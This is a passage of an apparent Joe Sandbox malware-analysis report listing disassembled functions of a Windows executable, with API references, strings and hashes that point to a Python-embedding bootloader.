Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: be108ae6727a529d83f8885eb47159bd80851fd8c8093c6f980a4c1e93935562
Instruction ID: d4a44bc6b9d60a349ea91f246ab1187b70aaaac37b01b090002ff0e61a37e5eb
Opcode Fuzzy Hash: be108ae6727a529d83f8885eb47159bd80851fd8c8093c6f980a4c1e93935562
Instruction Fuzzy Hash: 49317636618F8186E760DF25E8406AE73A4FB88764F904135EA9D43B95DF3CC145CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7209E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA720A30
FindFirstFileExW.KERNEL32 ref: 00007FF7FA720B3A

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: aa90af6a4a788c2c16a02cea0e9581d0bf20e05c721b47e02ac586f09149659d
Instruction ID: 4bcad2e17cb98110728d59f8b33e127dd3f737ff747e1bf0eb5668f823617917
Opcode Fuzzy Hash: aa90af6a4a788c2c16a02cea0e9581d0bf20e05c721b47e02ac586f09149659d
Instruction Fuzzy Hash: F6B1B666B1968641FB60AF21D4049B9E3E1EB48BE4F844171DA6D47BC5DE3CF842CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707850 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF7FA707881
FindClose.KERNEL32 ref: 00007FF7FA707890

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 0e172d7ea5e890d92c6a2989d53da8e3c55f614dc17c23923d45aaf4937351c2
Instruction ID: b60367f0acbeb1bfbefd3fe0f2be32954b605721bf975363fddd8d6e17237d14
Opcode Fuzzy Hash: 0e172d7ea5e890d92c6a2989d53da8e3c55f614dc17c23923d45aaf4937351c2
Instruction Fuzzy Hash: 1EF0A432E2878186F7609F60E888B66B3A0FB88724F844335D67D026D4DF3CD008CA60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA703E10 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703E26
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703E65
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703E8A
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703EAF
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703ED7
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703EFF
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703F27
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703F4F
GetProcAddress.KERNEL32(?,?,00000000,00007FF7FA7030DE), ref: 00007FF7FA703F77

Strings

PyUnicode_FromString, xrefs: 00007FF7FA704565
Failed to get address for PySys_SetPath, xrefs: 00007FF7FA704509
Py_DontWriteBytecodeFlag, xrefs: 00007FF7FA703E1F
Py_NoUserSiteDirectory, xrefs: 00007FF7FA703EF5
Failed to get address for PyList_Append, xrefs: 00007FF7FA7042D9
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF7FA7043A1
Failed to get address for Py_DecodeLocale, xrefs: 00007FF7FA7045A9
PyImport_ImportModule, xrefs: 00007FF7FA704295
Failed to get address for Py_NoUserSiteDirectory, xrefs: 00007FF7FA703F11
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 00007FF7FA703EC1
Failed to get address for PyObject_CallFunction, xrefs: 00007FF7FA704379
PyErr_Print, xrefs: 00007FF7FA7041A5
PySys_SetArgvEx, xrefs: 00007FF7FA704475
Failed to get address for Py_UnbufferedStdioFlag, xrefs: 00007FF7FA703F89
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF7FA704239
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 00007FF7FA703E77
PyUnicode_DecodeFSDefault, xrefs: 00007FF7FA70462D
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF7FA7043F1
Failed to get address for Py_SetPythonHome, xrefs: 00007FF7FA704121
PyErr_NormalizeException, xrefs: 00007FF7FA70421D
PySys_AddWarnOption, xrefs: 00007FF7FA70444D
PyModule_GetDict, xrefs: 00007FF7FA704335
Py_IgnoreEnvironmentFlag, xrefs: 00007FF7FA703EA5
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF7FA704441
Failed to get address for PyUnicode_FromString, xrefs: 00007FF7FA704581
PyUnicode_Decode, xrefs: 00007FF7FA704605
Failed to get address for PyObject_Str, xrefs: 00007FF7FA704419
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF7FA704559
Failed to get address for Py_UTF8Mode, xrefs: 00007FF7FA703FB9
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 00007FF7FA703E38
PyMem_RawFree, xrefs: 00007FF7FA7045B5
Failed to get address for PyEval_EvalCode, xrefs: 00007FF7FA704531
Failed to get address for PyDict_GetItemString, xrefs: 00007FF7FA704149
PyUnicode_Replace, xrefs: 00007FF7FA7046A5
Failed to get address for PyErr_Print, xrefs: 00007FF7FA7041C1
Failed to get address for Py_DecRef, xrefs: 00007FF7FA704009
Failed to get address for Py_OptimizeFlag, xrefs: 00007FF7FA703F39
Py_SetProgramName, xrefs: 00007FF7FA7040DD
Py_SetPythonHome, xrefs: 00007FF7FA704105
PyObject_SetAttrString, xrefs: 00007FF7FA7043AD
Failed to get address for Py_SetProgramName, xrefs: 00007FF7FA7040F9
Failed to get address for PyErr_Restore, xrefs: 00007FF7FA704211
Failed to get address for PyErr_Occurred, xrefs: 00007FF7FA704199
Py_GetPath, xrefs: 00007FF7FA7040B5
PySys_GetObject, xrefs: 00007FF7FA70449D
PyLong_AsLong, xrefs: 00007FF7FA70430D
PyErr_Fetch, xrefs: 00007FF7FA7041CD
Py_Finalize, xrefs: 00007FF7FA704015
PyRun_SimpleStringFlags, xrefs: 00007FF7FA704425
Py_BuildValue, xrefs: 00007FF7FA703FC5
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF7FA704289
PyMarshal_ReadObjectFromString, xrefs: 00007FF7FA70453D
PyUnicode_FromFormat, xrefs: 00007FF7FA7045DD
PyErr_Clear, xrefs: 00007FF7FA704155
Py_FrozenFlag, xrefs: 00007FF7FA703E80
PyImport_AddModule, xrefs: 00007FF7FA704245
PySys_SetPath, xrefs: 00007FF7FA7044ED
Failed to get address for Py_SetPath, xrefs: 00007FF7FA7040A9
PyErr_Occurred, xrefs: 00007FF7FA70417D
Py_SetPath, xrefs: 00007FF7FA70408D
Failed to get address for PySys_SetObject, xrefs: 00007FF7FA7044E1
Failed to get address for PyModule_GetDict, xrefs: 00007FF7FA704351
Failed to get address for PyLong_AsLong, xrefs: 00007FF7FA704329
PyUnicode_Join, xrefs: 00007FF7FA70467D
Py_Initialize, xrefs: 00007FF7FA704065
Py_VerboseFlag, xrefs: 00007FF7FA703F45
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF7FA704649
Failed to get address for Py_VerboseFlag, xrefs: 00007FF7FA703F61
Failed to get address for Py_GetPath, xrefs: 00007FF7FA7040D1
Failed to get address for PySys_AddWarnOption, xrefs: 00007FF7FA704469
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF7FA704671
PySys_SetObject, xrefs: 00007FF7FA7044C5
Py_OptimizeFlag, xrefs: 00007FF7FA703F1D
Failed to get address for PySys_SetArgvEx, xrefs: 00007FF7FA704491
Failed to get address for Py_Initialize, xrefs: 00007FF7FA704081
Failed to get address for PyList_New, xrefs: 00007FF7FA704301
Py_UTF8Mode, xrefs: 00007FF7FA703F9D
Failed to get address for PyUnicode_Decode, xrefs: 00007FF7FA704621
Py_FileSystemDefaultEncoding, xrefs: 00007FF7FA703E5B
PyObject_GetAttrString, xrefs: 00007FF7FA7043D5
Failed to get address for PyImport_ImportModule, xrefs: 00007FF7FA7042B1
Failed to get address for Py_FrozenFlag, xrefs: 00007FF7FA703E9C
PyList_Append, xrefs: 00007FF7FA7042BD
Failed to get address for Py_Finalize, xrefs: 00007FF7FA704031
Failed to get address for Py_BuildValue, xrefs: 00007FF7FA703FE1
GetProcAddress, xrefs: 00007FF7FA703E3F
Failed to get address for PyImport_AddModule, xrefs: 00007FF7FA704261
Failed to get address for Py_IncRef, xrefs: 00007FF7FA704059
Py_UnbufferedStdioFlag, xrefs: 00007FF7FA703F6D
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF7FA7043C9
PyImport_ExecCodeModule, xrefs: 00007FF7FA70426D
Py_DecodeLocale, xrefs: 00007FF7FA70458D
Failed to get address for Py_NoSiteFlag, xrefs: 00007FF7FA703EE9
Failed to get address for PyUnicode_Replace, xrefs: 00007FF7FA7046C1
PyObject_Str, xrefs: 00007FF7FA7043FD
Py_NoSiteFlag, xrefs: 00007FF7FA703ECD
PyObject_CallFunctionObjArgs, xrefs: 00007FF7FA704385
Failed to get address for PyErr_Fetch, xrefs: 00007FF7FA7041E9
Py_IncRef, xrefs: 00007FF7FA70403D
Failed to get address for PySys_GetObject, xrefs: 00007FF7FA7044B9
PyDict_GetItemString, xrefs: 00007FF7FA70412D
PyList_New, xrefs: 00007FF7FA7042E5
Failed to get address for PyMem_RawFree, xrefs: 00007FF7FA7045D1
Failed to get address for PyUnicode_Join, xrefs: 00007FF7FA704699
Failed to get address for PyErr_Clear, xrefs: 00007FF7FA704171
Py_DecRef, xrefs: 00007FF7FA703FED
PyObject_CallFunction, xrefs: 00007FF7FA70435D
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF7FA7045F9
PyErr_Restore, xrefs: 00007FF7FA7041F5
PyEval_EvalCode, xrefs: 00007FF7FA704515
PyUnicode_AsUTF8, xrefs: 00007FF7FA704655

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
API String ID: 190572456-3109299426
Opcode ID: 9e5338f17e9a06305e3f6e0c00f43c9f2351ab77f2791f85b3366b77a8fa4fe8
Instruction ID: 1864ec4257f0fddefc9a0e943d147d2f4cac0b8afac3ce651e5f0829e14a745a
Opcode Fuzzy Hash: 9e5338f17e9a06305e3f6e0c00f43c9f2351ab77f2791f85b3366b77a8fa4fe8
Instruction Fuzzy Hash: 7242DD64E1DB4391FB65AF05EC549B4A2A1EF8C780FC494B1C82E062E4FF7CB55896B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA702030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7FA70205B
SelectObject.GDI32 ref: 00007FF7FA7020A2
DrawTextW.USER32 ref: 00007FF7FA7020C5
SelectObject.GDI32 ref: 00007FF7FA7020DB
ReleaseDC.USER32 ref: 00007FF7FA7020EB
MoveWindow.USER32 ref: 00007FF7FA70213B
MoveWindow.USER32 ref: 00007FF7FA70217B
MoveWindow.USER32 ref: 00007FF7FA7021CE
MoveWindow.USER32 ref: 00007FF7FA702216

Strings

P%, xrefs: 00007FF7FA7020AF

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction ID: fada81f2f0c08e7ddc2a492ab96ff139fc776a5ac64f9f287331210b1fb45cd5
Opcode Fuzzy Hash: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction Fuzzy Hash: 8C51E626618BA186E734AF26E4185BAF7A1FB98B65F004131EFDE43685DF3CD045DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA710258 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA710298
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA710660
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7108FF

Strings

f, xrefs: 00007FF7FA71039A
p, xrefs: 00007FF7FA7103A2
p, xrefs: 00007FF7FA71033D
f, xrefs: 00007FF7FA710330
f, xrefs: 00007FF7FA7104E5

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction ID: 5fd1b12d4ed1b8f36e7676dbe7c0b6cf93a2d24127480302d770056812948e21
Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction Fuzzy Hash: 15128561F0C14386FB247E15E054A7AF6E1FB88764FC44175E6A946AC4DB7CF8828BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7012B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF7FA7013E9
fseek, xrefs: 00007FF7FA701319
malloc, xrefs: 00007FF7FA701353
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FA7013E2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FA701312
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FA7012E2
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7FA70134C

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 4f1b7420bd1200715ba75d2257416a57d3a9ecb046ba385c80e98a1209f3315b
Instruction ID: 7a76ef3e2c04aa17902e26981d7b1e0ed4a3fc1ff71c4d3c2bacf9997324000d
Opcode Fuzzy Hash: 4f1b7420bd1200715ba75d2257416a57d3a9ecb046ba385c80e98a1209f3315b
Instruction Fuzzy Hash: 3E416062B1864281FB14FF11E850AAAE3A0EF48794FC48471DE6D47AD5EF3CE54287B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70DC60 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7FA70DCBD

Part of subcall function 00007FF7FA70EBD0: __GetUnwindTryBlock.LIBCMT ref: 00007FF7FA70EC13
Part of subcall function 00007FF7FA70EBD0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7FA70EC38

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7FA70DD95
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7FA70DFEA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7FA70E0F6

Strings

csm, xrefs: 00007FF7FA70DDB8
csm, xrefs: 00007FF7FA70DD3E
csm, xrefs: 00007FF7FA70DCD7

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 041d502785614f157d9e0dc40e6677f491242ac1b203480cf839ec3ef7e6c674
Instruction ID: 1de03941a557ea7abbe7bb3914440761fea73827b13d5fade8dd4e7d53563aa9
Opcode Fuzzy Hash: 041d502785614f157d9e0dc40e6677f491242ac1b203480cf839ec3ef7e6c674
Instruction Fuzzy Hash: 57E19572A0874186FB20AF65D8407ADB7A0FB49798F508175EE6D57BD6CF38E090C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71DDE8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

